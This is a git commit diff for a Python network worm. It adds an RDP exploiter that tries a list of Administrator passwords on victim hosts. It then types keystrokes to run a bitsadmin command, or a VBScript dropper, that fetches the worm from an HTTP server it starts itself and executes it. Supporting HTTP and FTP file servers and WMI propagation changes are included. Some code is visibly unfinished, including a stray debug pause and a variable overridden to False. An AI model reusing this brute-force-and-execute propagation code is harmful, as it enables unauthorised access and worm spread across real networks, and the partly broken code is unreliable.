- rdp exploitation
- http file transfer - ftp server code for future support
This commit is contained in:
parent
120d259b65
commit
01bc17f80c
|
@ -1,2 +1 @@
|
|||
c:\Python27\python -m PyInstaller.main --name monkey -F -y --clean -i monkey.ico main.py
|
||||
move /Y dist\monkey.exe "%allusersprofile%\desktop\monkey.exe"
|
||||
|
|
|
@ -3,7 +3,7 @@ import os
|
|||
import sys
|
||||
import ntpath
|
||||
from network.range import ClassCRange, RelativeRange, FixedRange
|
||||
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter
|
||||
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter
|
||||
from network import TcpScanner, PingScanner
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
@ -39,7 +39,7 @@ class WormConfiguration(object):
|
|||
max_iterations = 2
|
||||
|
||||
scanner_class = TcpScanner
|
||||
exploiter_classes = WmiExploiter, SmbExploiter, Ms08_067_Exploiter
|
||||
exploiter_classes = (RdpExploiter, )
|
||||
|
||||
# how many victims to look for in a single scan iteration
|
||||
victims_max_find = 14
|
||||
|
@ -57,9 +57,7 @@ class WormConfiguration(object):
|
|||
#range_class = RelativeRange
|
||||
#range_size = 8
|
||||
range_class = FixedRange
|
||||
range_fixed = ("192.168.122.15", "192.168.122.17", "192.168.122.14", "192.168.122.9",
|
||||
"192.168.144.8", "192.168.144.11", "192.168.144.12",
|
||||
"192.168.166.10", "192.168.166.12", "192.168.166.11")
|
||||
range_fixed = ("10.15.1.94", )
|
||||
|
||||
# TCP Scanner
|
||||
tcp_target_ports = [445, 135]
|
||||
|
@ -81,4 +79,4 @@ class WormConfiguration(object):
|
|||
|
||||
# psexec exploiter
|
||||
psexec_user = "Administrator"
|
||||
psexec_passwords = ["1234", "password", "Password1!", "password", "12345678"]
|
||||
psexec_passwords = ["Password1!", "1234", "password", "password", "12345678"]
|
||||
|
|
|
@ -12,4 +12,5 @@ class HostExploiter(object):
|
|||
|
||||
from win_ms08_067 import Ms08_067_Exploiter
|
||||
from wmiexec import WmiExploiter
|
||||
from smbexec import SmbExploiter
|
||||
from smbexec import SmbExploiter
|
||||
from rdpgrinder import RdpExploiter
|
|
@ -1,53 +1,166 @@
|
|||
|
||||
|
||||
|
||||
|
||||
import time
|
||||
import socket
|
||||
import threading
|
||||
import cffi
|
||||
import os.path
|
||||
import twisted.python.log
|
||||
import rdpy.core.log as rdpy_log
|
||||
from rdpy.protocol.rdp import rdp
|
||||
from twisted.internet import reactor
|
||||
from rdpy.core.error import RDPSecurityNegoFail
|
||||
from logging import getLogger
|
||||
from exploit import HostExploiter
|
||||
from exploit.tools import HTTPTools
|
||||
from model import RDP_CMDLINE_HTTP_BITS
|
||||
from model.host import VictimHost
|
||||
__author__ = 'hoffer'
|
||||
|
||||
__author__ = 'itamar'
|
||||
KEYS_INTERVAL = 0.1
|
||||
MAX_WAIT_FOR_UPDATE = 120
|
||||
KEYS_SENDER_SLEEP = 0.01
|
||||
DOWNLOAD_TIMEOUT = 60
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
class RDPClient(rdp.RDPClientObserver):
|
||||
def __init__(self, controller, width, height):
|
||||
super(RDPClient, self).__init__(controller)
|
||||
def twisted_log_func(*message, **kw):
|
||||
if kw.has_key('isError') and kw['isError']:
|
||||
error_msg = 'Unknown'
|
||||
if kw.has_key('failure'):
|
||||
error_msg = kw['failure'].getErrorMessage()
|
||||
LOG.error("Error from twisted library: %s" % (error_msg,))
|
||||
else:
|
||||
LOG.debug("Message from twisted library: %s" % (str(message),))
|
||||
|
||||
def rdpy_log_func(message):
|
||||
LOG.debug("Message from rdpy library: %s" % (message,))
|
||||
|
||||
twisted.python.log.msg = twisted_log_func
|
||||
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
|
||||
rdpy_log.log = rdpy_log_func
|
||||
|
||||
# thread for twisted reactor, create once.
|
||||
global g_reactor
|
||||
g_reactor = threading.Thread(target=reactor.run, args=(False,))
|
||||
|
||||
class ScanCodeEvent(object):
|
||||
def __init__(self, code, is_pressed=False, is_special=False):
|
||||
self.code = code
|
||||
self.is_pressed = is_pressed
|
||||
self.is_special = is_special
|
||||
|
||||
class CharEvent(object):
|
||||
def __init__(self, char, is_pressed=False):
|
||||
self.char = char
|
||||
self.is_pressed = is_pressed
|
||||
|
||||
class SleepEvent(object):
|
||||
def __init__(self, interval):
|
||||
self.interval= interval
|
||||
|
||||
class WaitUpdateEvent(object):
|
||||
def __init__(self, updates=1):
|
||||
self.updates = updates
|
||||
pass
|
||||
|
||||
def str_to_keys(orig_str):
|
||||
result = []
|
||||
for c in orig_str:
|
||||
result.append(CharEvent(c,True))
|
||||
result.append(CharEvent(c,False))
|
||||
result.append(WaitUpdateEvent())
|
||||
return result
|
||||
|
||||
class KeyPressRDPClient(rdp.RDPClientObserver):
|
||||
def __init__(self, controller, keys, width, height, addr):
|
||||
super(KeyPressRDPClient, self).__init__(controller)
|
||||
self._keys = keys
|
||||
self._addr = addr
|
||||
self._update_lock = threading.Lock()
|
||||
self._wait_update = False
|
||||
self._keys_thread = threading.Thread(target=self._keysSender)
|
||||
self._keys_thread.daemon = True
|
||||
self._width = width
|
||||
self._height = height
|
||||
self._last_update = 0
|
||||
self.closed = False
|
||||
self.success = False
|
||||
|
||||
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
|
||||
print "onUpdate", destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, len(data)
|
||||
update_time = time.time()
|
||||
self._update_lock.acquire()
|
||||
self._last_update = update_time
|
||||
self._wait_for_update = False
|
||||
self._update_lock.release()
|
||||
|
||||
def _keysSender(self):
|
||||
while True:
|
||||
|
||||
if self.closed:
|
||||
return
|
||||
|
||||
if len(self._keys) == 0:
|
||||
reactor.callFromThread(self._controller.close)
|
||||
LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port)
|
||||
return
|
||||
|
||||
key = self._keys[0]
|
||||
|
||||
self._update_lock.acquire()
|
||||
time_diff = time.time() - self._last_update
|
||||
if type(key) is WaitUpdateEvent:
|
||||
self._wait_for_update = True
|
||||
self._update_lock.release()
|
||||
key.updates -= 1
|
||||
if key.updates == 0:
|
||||
self._keys = self._keys[1:]
|
||||
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
|
||||
self._wait_for_update = False
|
||||
self._update_lock.release()
|
||||
if type(key) is ScanCodeEvent:
|
||||
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, key.is_special)
|
||||
elif type(key) is CharEvent:
|
||||
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
|
||||
elif type(key) is SleepEvent:
|
||||
time.sleep(key.interval)
|
||||
|
||||
self._keys = self._keys[1:]
|
||||
else:
|
||||
self._update_lock.release()
|
||||
time.sleep(KEYS_SENDER_SLEEP)
|
||||
|
||||
|
||||
def onReady(self):
|
||||
"""
|
||||
@summary: Call when stack is ready
|
||||
"""
|
||||
print "onReady"
|
||||
pass
|
||||
|
||||
def onClose(self):
|
||||
"""
|
||||
@summary: Call when stack is close
|
||||
"""
|
||||
print "onClose"
|
||||
self.success = len(self._keys) == 0
|
||||
self.closed = True
|
||||
|
||||
def closeEvent(self, e):
|
||||
print "closeEvent", e
|
||||
def onSessionReady(self):
|
||||
self._last_update = time.time()
|
||||
self._keys_thread.start()
|
||||
|
||||
|
||||
class RDPClientFactory(rdp.ClientFactory):
|
||||
def __init__(self):
|
||||
self._username = "Administrator"
|
||||
self._password = "Password1!"
|
||||
self._domain = ""
|
||||
class CMDClientFactory(rdp.ClientFactory):
|
||||
def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359):
|
||||
self._username = username
|
||||
self._password = password
|
||||
self._domain = domain
|
||||
self._keyboard_layout = "en"
|
||||
self._optimized = False
|
||||
self._security = "rdp" # "ssl"
|
||||
|
||||
self._width = 200
|
||||
self._height = 200
|
||||
|
||||
def __repr__(self):
|
||||
return "<RDPClientFactory %dx%d>" % (self._width, self._height)
|
||||
# key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
|
||||
self._keys = [ScanCodeEvent(91,True,True),
|
||||
ScanCodeEvent(19,True),
|
||||
ScanCodeEvent(19,False),
|
||||
ScanCodeEvent(91,False,True), WaitUpdateEvent()] + str_to_keys("cmd /v") + [WaitUpdateEvent(), ScanCodeEvent(28,True),
|
||||
ScanCodeEvent(28,False), WaitUpdateEvent()] + str_to_keys(command+"&exit") + [WaitUpdateEvent(), ScanCodeEvent(28,True),
|
||||
ScanCodeEvent(28,False), WaitUpdateEvent()]
|
||||
self._optimized = optimized
|
||||
self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
|
||||
self._nego = True
|
||||
self._client = None
|
||||
self._width = width
|
||||
self._height = height
|
||||
self.done_event = threading.Event()
|
||||
self.success = False
|
||||
|
||||
def buildObserver(self, controller, addr):
|
||||
"""
|
||||
|
@ -59,19 +172,101 @@ class RDPClientFactory(rdp.ClientFactory):
|
|||
"""
|
||||
|
||||
#create client observer
|
||||
self._client = RDPClient(controller, self._width, self._height)
|
||||
self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
|
||||
|
||||
controller.setUsername(self._username)
|
||||
controller.setPassword(self._password)
|
||||
controller.setDomain(self._domain)
|
||||
controller.setKeyboardLayout(self._keyboard_layout)
|
||||
controller.setHostname(socket.gethostname())
|
||||
controller.setHostname(addr.host)
|
||||
if self._optimized:
|
||||
controller.setPerformanceSession()
|
||||
controller.setSecurityLevel(self._security)
|
||||
|
||||
return self._client
|
||||
|
||||
def clientConnectionLost(self, connector, reason):
|
||||
#try reconnect with basic RDP security
|
||||
if reason.type == RDPSecurityNegoFail and self._nego:
|
||||
LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" % (connector.host, connector.port))
|
||||
#stop nego
|
||||
self._nego = False
|
||||
self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
|
||||
connector.connect()
|
||||
return
|
||||
|
||||
reactor.connectTCP("10.0.0.1", 3389, RDPClientFactory())
|
||||
reactor.run()
|
||||
LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port))
|
||||
self.success = self._client.success
|
||||
self.done_event.set()
|
||||
|
||||
def clientConnectionFailed(self, connector, reason):
|
||||
LOG.debug("RDP connection to %s:%s failed, with error: %s" % (connector.host, connector.port, reason.getErrorMessage()))
|
||||
self.success = False
|
||||
self.done_event.set()
|
||||
|
||||
class RdpExploiter(HostExploiter):
|
||||
def __init__(self):
|
||||
self._config = __import__('config').WormConfiguration
|
||||
|
||||
def exploit_host(self, host, src_path, port=3389):
|
||||
global g_reactor
|
||||
assert isinstance(host, VictimHost)
|
||||
|
||||
if not g_reactor.is_alive():
|
||||
g_reactor.daemon = True
|
||||
g_reactor.start()
|
||||
|
||||
# create server for http download.
|
||||
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
|
||||
|
||||
command = RDP_CMDLINE_HTTP_BITS % {'monkey_name': os.path.basename(src_path), 'http_path' : http_path}
|
||||
|
||||
passwords = list(self._config.psexec_passwords[:])
|
||||
known_password = host.get_credentials(self._config.psexec_user)
|
||||
if known_password is not None:
|
||||
if known_password in passwords:
|
||||
passwords.remove(known_password)
|
||||
passwords.insert(0, known_password)
|
||||
|
||||
exploited = False
|
||||
for password in passwords:
|
||||
try:
|
||||
# run command using rdp.
|
||||
|
||||
LOG.info("Trying rdp logging into victim %r with user"
|
||||
" %s and password '%s'", host,
|
||||
self._config.psexec_user, password)
|
||||
|
||||
client_factory = CMDClientFactory(self._config.psexec_user, password, "", command)
|
||||
|
||||
reactor.connectTCP(host.ip_addr, port, client_factory)
|
||||
|
||||
client_factory.done_event.wait()
|
||||
|
||||
if client_factory.success:
|
||||
exploited = True
|
||||
break
|
||||
|
||||
except Exception, exc:
|
||||
LOG.debug("Error logging into victim %r with user"
|
||||
" %s and password '%s': (%s)", host,
|
||||
self._config.psexec_user, password, exc)
|
||||
continue
|
||||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
||||
if not exploited:
|
||||
LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
|
||||
return False
|
||||
elif http_thread.downloads == 0:
|
||||
LOG.info("Trying rdp logging into victim %r with user"
|
||||
" %s and password '%s'", host,
|
||||
self._config.psexec_user, password)
|
||||
LOG.debug("Exploiter RdpGrinder failed, http download failed.")
|
||||
return False
|
||||
|
||||
LOG.info("Executed monkey '%s' on remote victim %r",
|
||||
os.path.basename(src_path), host)
|
||||
|
||||
return True
|
|
@ -3,6 +3,11 @@ import os
|
|||
import ntpath
|
||||
import pprint
|
||||
import logging
|
||||
import os.path
|
||||
import socket
|
||||
import urllib
|
||||
from difflib import get_close_matches
|
||||
from transport import HTTPServer
|
||||
from impacket.dcerpc.v5 import transport, srvs
|
||||
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
|
||||
from impacket.smbconnection import SMBConnection, SMB_DIALECT
|
||||
|
@ -16,7 +21,6 @@ __author__ = 'itamar'
|
|||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class AccessDeniedException(Exception):
|
||||
def __init__(self, host, username, password, domain):
|
||||
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
|
||||
|
@ -342,3 +346,17 @@ class SmbTools(object):
|
|||
dce.bind(srvs.MSRPC_UUID_SRVS)
|
||||
|
||||
return dce
|
||||
|
||||
|
||||
class HTTPTools(object):
|
||||
@staticmethod
|
||||
def create_transfer(host, src_path, local_ip=None, local_port=4444):
|
||||
if None == local_ip:
|
||||
local_hostname = socket.gethostname()
|
||||
local_ip = get_close_matches(host.ip_addr, socket.gethostbyname_ex(local_hostname)[2])[0]
|
||||
|
||||
httpd = HTTPServer(local_ip, local_port, src_path)
|
||||
httpd.daemon = True
|
||||
httpd.start()
|
||||
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
|
@ -3,10 +3,10 @@ import socket
|
|||
import ntpath
|
||||
import logging
|
||||
import traceback
|
||||
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
|
||||
from model import DROPPER_CMDLINE, MONKEY_CMDLINE, MONKEY_CMDLINE_HTTP
|
||||
from model.host import VictimHost
|
||||
from exploit import HostExploiter
|
||||
from exploit.tools import SmbTools, WmiTools, AccessDeniedException
|
||||
from exploit.tools import SmbTools, WmiTools, HTTPTools, AccessDeniedException
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
@ -60,19 +60,22 @@ class WmiExploiter(HostExploiter):
|
|||
LOG.debug("Skipping %r - already infected", host)
|
||||
return False
|
||||
|
||||
# copy the file remotely using SMB
|
||||
#copy the file remotely using SMB
|
||||
remote_full_path = SmbTools.copy_file(host,
|
||||
self._config.psexec_user,
|
||||
password,
|
||||
src_path,
|
||||
self._config.dropper_target_path)
|
||||
remote_full_path = False
|
||||
|
||||
if not remote_full_path:
|
||||
wmi_connection.close()
|
||||
|
||||
return False
|
||||
|
||||
remote_full_path = self._config.dropper_target_path
|
||||
http_path = HTTPTools.create_transfer(host,
|
||||
src_path,
|
||||
remote_full_path)
|
||||
cmdline = MONKEY_CMDLINE_HTTP % {'http_path': http_path, 'monkey_path': remote_full_path}
|
||||
# execute the remote dropper in case the path isn't final
|
||||
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
||||
elif remote_full_path.lower() != self._config.dropper_target_path.lower():
|
||||
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
|
||||
else:
|
||||
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
|
||||
|
@ -86,6 +89,7 @@ class WmiExploiter(HostExploiter):
|
|||
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
||||
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
|
||||
success = True
|
||||
raw_input()
|
||||
else:
|
||||
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
||||
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
|
||||
|
|
|
@ -6,5 +6,8 @@ DROPPER_CMDLINE = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
|||
MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||
DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||
MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
|
||||
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s !SystemRoot!\\%%(monkey_name)s&&start /b !SystemRoot!\\%%(monkey_name)s %s' % (MONKEY_ARG, )
|
||||
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "!SystemRoot!\\%%(monkey_name)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Exec("cmd /c !SystemRoot!\\%%(monkey_name)s %s")>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
|
||||
|
||||
from host import VictimHost
|
|
@ -0,0 +1,5 @@
|
|||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
from ftp import FTPServer
|
||||
from http import HTTPServer
|
|
@ -0,0 +1,171 @@
|
|||
import os,socket,threading,time
|
||||
import StringIO
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
class FTPServer(threading.Thread):
|
||||
def __init__(self, local_ip, local_port, files):
|
||||
self.files=files
|
||||
self.cwd='/'
|
||||
self.mode='I'
|
||||
self.rest=False
|
||||
self.pasv_mode=False
|
||||
self.local_ip = local_ip
|
||||
self.local_port = local_port
|
||||
threading.Thread.__init__(self)
|
||||
|
||||
def run(self):
|
||||
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
self.sock.bind((self.local_ip,self.local_port))
|
||||
self.sock.listen(1)
|
||||
|
||||
self.conn, self.addr = self.sock.accept()
|
||||
|
||||
self.conn.send('220 Welcome!\r\n')
|
||||
while True:
|
||||
if 0 == len(self.files):
|
||||
break
|
||||
cmd=self.conn.recv(256)
|
||||
if not cmd: break
|
||||
else:
|
||||
try:
|
||||
func=getattr(self,cmd[:4].strip().upper())
|
||||
func(cmd)
|
||||
except Exception,e:
|
||||
self.conn.send('500 Sorry.\r\n')
|
||||
break
|
||||
|
||||
self.conn.close()
|
||||
self.sock.close()
|
||||
|
||||
def SYST(self,cmd):
|
||||
self.conn.send('215 UNIX Type: L8\r\n')
|
||||
def OPTS(self,cmd):
|
||||
if cmd[5:-2].upper()=='UTF8 ON':
|
||||
self.conn.send('200 OK.\r\n')
|
||||
else:
|
||||
self.conn.send('451 Sorry.\r\n')
|
||||
def USER(self,cmd):
|
||||
self.conn.send('331 OK.\r\n')
|
||||
def PASS(self,cmd):
|
||||
self.conn.send('230 OK.\r\n')
|
||||
#self.conn.send('530 Incorrect.\r\n')
|
||||
def QUIT(self,cmd):
|
||||
self.conn.send('221 Goodbye.\r\n')
|
||||
def NOOP(self,cmd):
|
||||
self.conn.send('200 OK.\r\n')
|
||||
def TYPE(self,cmd):
|
||||
self.mode=cmd[5]
|
||||
self.conn.send('200 Binary mode.\r\n')
|
||||
|
||||
def CDUP(self,cmd):
|
||||
self.conn.send('200 OK.\r\n')
|
||||
|
||||
def PWD(self,cmd):
|
||||
self.conn.send('257 \"%s\"\r\n' % self.cwd)
|
||||
|
||||
def CWD(self,cmd):
|
||||
self.conn.send('250 OK.\r\n')
|
||||
|
||||
def PORT(self,cmd):
|
||||
if self.pasv_mode:
|
||||
self.servsock.close()
|
||||
self.pasv_mode = False
|
||||
l=cmd[5:].split(',')
|
||||
self.dataAddr='.'.join(l[:4])
|
||||
self.dataPort=(int(l[4])<<8)+int(l[5])
|
||||
self.conn.send('200 Get port.\r\n')
|
||||
|
||||
def PASV(self,cmd):
|
||||
self.pasv_mode = True
|
||||
self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||
self.servsock.bind((local_ip,0))
|
||||
self.servsock.listen(1)
|
||||
ip, port = self.servsock.getsockname()
|
||||
self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' %
|
||||
(','.join(ip.split('.')), port>>8&0xFF, port&0xFF))
|
||||
|
||||
def start_datasock(self):
|
||||
if self.pasv_mode:
|
||||
self.datasock, addr = self.servsock.accept()
|
||||
else:
|
||||
self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||
self.datasock.connect((self.dataAddr,self.dataPort))
|
||||
|
||||
def stop_datasock(self):
|
||||
self.datasock.close()
|
||||
if self.pasv_mode:
|
||||
self.servsock.close()
|
||||
|
||||
|
||||
def LIST(self,cmd):
|
||||
self.conn.send('150 Here comes the directory listing.\r\n')
|
||||
self.start_datasock()
|
||||
for fn in self.files.keys():
|
||||
k=self.toListItem(fn)
|
||||
self.datasock.send(k+'\r\n')
|
||||
self.stop_datasock()
|
||||
self.conn.send('226 Directory send OK.\r\n')
|
||||
|
||||
def toListItem(self,fn):
|
||||
fullmode='rwxrwxrwx'
|
||||
mode=''
|
||||
d='-'
|
||||
ftime=time.strftime(' %b %d %H:%M ', time.gmtime())
|
||||
return d+fullmode+' 1 user group '+str(self.files[fn].tell())+ftime+fn
|
||||
|
||||
def MKD(self,cmd):
|
||||
self.conn.send('257 Directory created.\r\n')
|
||||
|
||||
def RMD(self,cmd):
|
||||
self.conn.send('450 Not allowed.\r\n')
|
||||
|
||||
def DELE(self,cmd):
|
||||
self.conn.send('450 Not allowed.\r\n')
|
||||
|
||||
def SIZE(self,cmd):
|
||||
self.conn.send('450 Not allowed.\r\n')
|
||||
|
||||
def RNFR(self,cmd):
|
||||
self.conn.send('350 Ready.\r\n')
|
||||
|
||||
def RNTO(self,cmd):
|
||||
self.conn.send('250 File renamed.\r\n')
|
||||
|
||||
def REST(self,cmd):
|
||||
self.pos=int(cmd[5:-2])
|
||||
self.rest=True
|
||||
self.conn.send('250 File position reseted.\r\n')
|
||||
|
||||
def RETR(self,cmd):
|
||||
fn = cmd[5:-2]
|
||||
if self.mode=='I':
|
||||
fi=self.files[fn]
|
||||
else:
|
||||
fi=self.files[fn]
|
||||
self.conn.send('150 Opening data connection.\r\n')
|
||||
if self.rest:
|
||||
fi.seek(self.pos)
|
||||
self.rest=False
|
||||
data= fi.read(1024)
|
||||
self.start_datasock()
|
||||
while data:
|
||||
self.datasock.send(data)
|
||||
data=fi.read(1024)
|
||||
fi.close()
|
||||
del self.files[fn]
|
||||
self.stop_datasock()
|
||||
self.conn.send('226 Transfer complete.\r\n')
|
||||
|
||||
def STOR(self,cmd):
|
||||
fn = cmd[5:-2]
|
||||
fo = StringIO.StringIO()
|
||||
self.conn.send('150 Opening data connection.\r\n')
|
||||
self.start_datasock()
|
||||
while True:
|
||||
data=self.datasock.recv(1024)
|
||||
if not data: break
|
||||
fo.write(data)
|
||||
fo.seek(0)
|
||||
self.stop_datasock()
|
||||
self.conn.send('226 Transfer complete.\r\n')
|
|
@ -0,0 +1,137 @@
|
|||
import urllib, BaseHTTPServer, threading, os.path
|
||||
import shutil
|
||||
import struct
|
||||
from logging import getLogger
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
protocol_version = "HTTP/1.1"
|
||||
filename = ""
|
||||
|
||||
def version_string(self):
|
||||
return "Microsoft-IIS/7.5."
|
||||
|
||||
@staticmethod
|
||||
def report_download():
|
||||
pass
|
||||
|
||||
def do_POST (self):
|
||||
self.send_error (501, "Unsupported method (POST)")
|
||||
return
|
||||
|
||||
def do_GET(self):
|
||||
"""Serve a GET request."""
|
||||
f, start_range, end_range = self.send_head()
|
||||
if f:
|
||||
f.seek(start_range, 0)
|
||||
chunk = 0x1000
|
||||
total = 0
|
||||
while chunk > 0:
|
||||
if start_range + chunk > end_range:
|
||||
chunk = end_range - start_range
|
||||
try:
|
||||
self.wfile.write(f.read(chunk))
|
||||
except:
|
||||
break
|
||||
total += chunk
|
||||
start_range += chunk
|
||||
|
||||
if f.tell() == os.fstat(f.fileno()).st_size:
|
||||
self.report_download()
|
||||
|
||||
f.close()
|
||||
|
||||
def do_HEAD(self):
|
||||
"""Serve a HEAD request."""
|
||||
f, start_range, end_range = self.send_head()
|
||||
if f:
|
||||
f.close()
|
||||
|
||||
def send_head(self):
|
||||
if self.path != '/'+urllib.quote(os.path.basename(self.filename)):
|
||||
self.send_error (500, "")
|
||||
return
|
||||
f = None
|
||||
try:
|
||||
# Always read in binary mode. Opening files in text mode may cause
|
||||
# newline translations, making the actual size of the content
|
||||
# transmitted *less* than the content-length!
|
||||
f = open(self.filename, 'rb')
|
||||
except IOError:
|
||||
self.send_error(404, "File not found")
|
||||
return (None, 0, 0)
|
||||
fs = os.fstat(f.fileno())
|
||||
size = int(fs[6])
|
||||
start_range = 0
|
||||
end_range = size
|
||||
|
||||
if "Range" in self.headers:
|
||||
s, e = self.headers['range'][6:].split('-', 1)
|
||||
sl = len(s)
|
||||
el = len(e)
|
||||
if sl > 0:
|
||||
start_range = int(s)
|
||||
if el > 0:
|
||||
end_range = int(e) + 1
|
||||
elif el > 0:
|
||||
ei = int(e)
|
||||
if ei < size:
|
||||
start_range = size - ei
|
||||
|
||||
if start_range == 0 and end_range - start_range >= size:
|
||||
self.send_response(200)
|
||||
else:
|
||||
self.send_response(206)
|
||||
else:
|
||||
self.send_response(200)
|
||||
|
||||
self.send_header("Content-type", "application/octet-stream")
|
||||
self.send_header("Content-Range", 'bytes ' + str(start_range) + '-' + str(end_range - 1) + '/' + str(size))
|
||||
self.send_header("Content-Length", min(end_range - start_range, size))
|
||||
self.end_headers()
|
||||
return (f, start_range, end_range)
|
||||
|
||||
def log_message(self, format, *args):
|
||||
LOG.debug("FileServHTTPRequestHandler: %s - - [%s] %s" % (self.address_string(),
|
||||
self.log_date_time_string(),
|
||||
format % args))
|
||||
|
||||
|
||||
class InternalHTTPServer(BaseHTTPServer.HTTPServer):
|
||||
def handle_error(self, request, client_address):
|
||||
#ToDo: find a better error message.
|
||||
#LOG.debug("HTTPServer error from %s:%s" % client_address)
|
||||
pass
|
||||
|
||||
class HTTPServer(threading.Thread):
|
||||
def __init__(self, local_ip, local_port, filename, max_downloads=1):
|
||||
self._local_ip = local_ip
|
||||
self._local_port = local_port
|
||||
self._filename = filename
|
||||
self.max_downloads = max_downloads
|
||||
self.downloads = 0
|
||||
self._stopped = False
|
||||
threading.Thread.__init__(self)
|
||||
|
||||
def run(self):
|
||||
class TempHandler(FileServHTTPRequestHandler):
|
||||
filename = self._filename
|
||||
@staticmethod
|
||||
def report_download():
|
||||
self.downloads+=1
|
||||
|
||||
httpd = InternalHTTPServer((self._local_ip, self._local_port), TempHandler)
|
||||
httpd.timeout = 0.5
|
||||
|
||||
while not self._stopped and self.downloads < self.max_downloads:
|
||||
httpd.handle_request()
|
||||
|
||||
self._stopped = True
|
||||
|
||||
def stop(self, timeout=60):
|
||||
self._stopped = True
|
||||
self.join(timeout)
|
||||
|
Loading…
Reference in New Issue